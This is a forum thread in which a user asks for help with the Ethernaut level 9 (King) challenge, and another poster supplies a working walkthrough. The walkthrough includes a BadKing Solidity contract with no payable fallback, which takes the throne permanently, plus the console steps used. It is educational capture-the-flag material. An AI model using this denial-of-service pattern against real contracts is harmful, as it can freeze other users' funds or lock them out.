Difficulty with Ethernaut Level 9 King

#1

Hi,

I’m having issue while trying to solve level 9 of Ethernaut. I understand how to solve it but It doesn’t work somehow and I have no idea why. I tried to implement various solutions found here :https://medium.com/coinmonks/ethernaut-lvl-9-king-walkthrough-how-bad-contracts-can-abuse-withdrawals-db12754f359b and https://github.com/tsauvajon/ethernaut/tree/master/07-force without success.

I click on “get a new instance” and deploy the following contract (from Nicole Zhu) in remix IDE

badking
badking734×831 37.4 KB

Then I replace the value MY_INSTANCE_ADDRESS by the one given in Ethernaut.

What am I doing wrong ?

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#2

Hi @caladay,

Sorry that you are having issues. I appreciate the frustration when you know how to solve the level but something is wrong with the steps.

I assume that when you created your contract you also included a value of 1 ether.

You could try the following method that I used just now.

First I got a new instance.

I then got the address from my browser console:

contract.address
"0xE70Fbe4D9017420ca000853A66A51D12F0dF5857"

Next, I deployed the following contract in Remix (address: 0xFD4d514EAae6f459B6C74cc6D4f478d9D2eE28AB)

BadKing.sol

pragma solidity ^0.5.0;

contract BadKing {

  function becomeKing(address king) public payable {
    (bool result, bytes memory data) = king.call.value(msg.value)("");
    if(!result) revert();
  }

  // OMG NO PAYABLE FALLBACK!!
}

I then used Remix to call becomeKing with a value of 1 ether.

I checked that my BadKing contract was now the king from my browser console.

await contract._king()
"0xFD4d514EAae6f459B6C74cc6D4f478d9D2eE28AB"

Finally I submitted my instance.

#3

Dear Abcoathup,

Thank you very much, I followed your detailed walkthrough and it worked.
I will try to understand what I missed with Nicole Zhu solution.

Best,
Caladay

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#4

Hi @Caladay,

Were you able to solve the level?

#5

Hi,
Yes I was.
Thank you very much

1 Like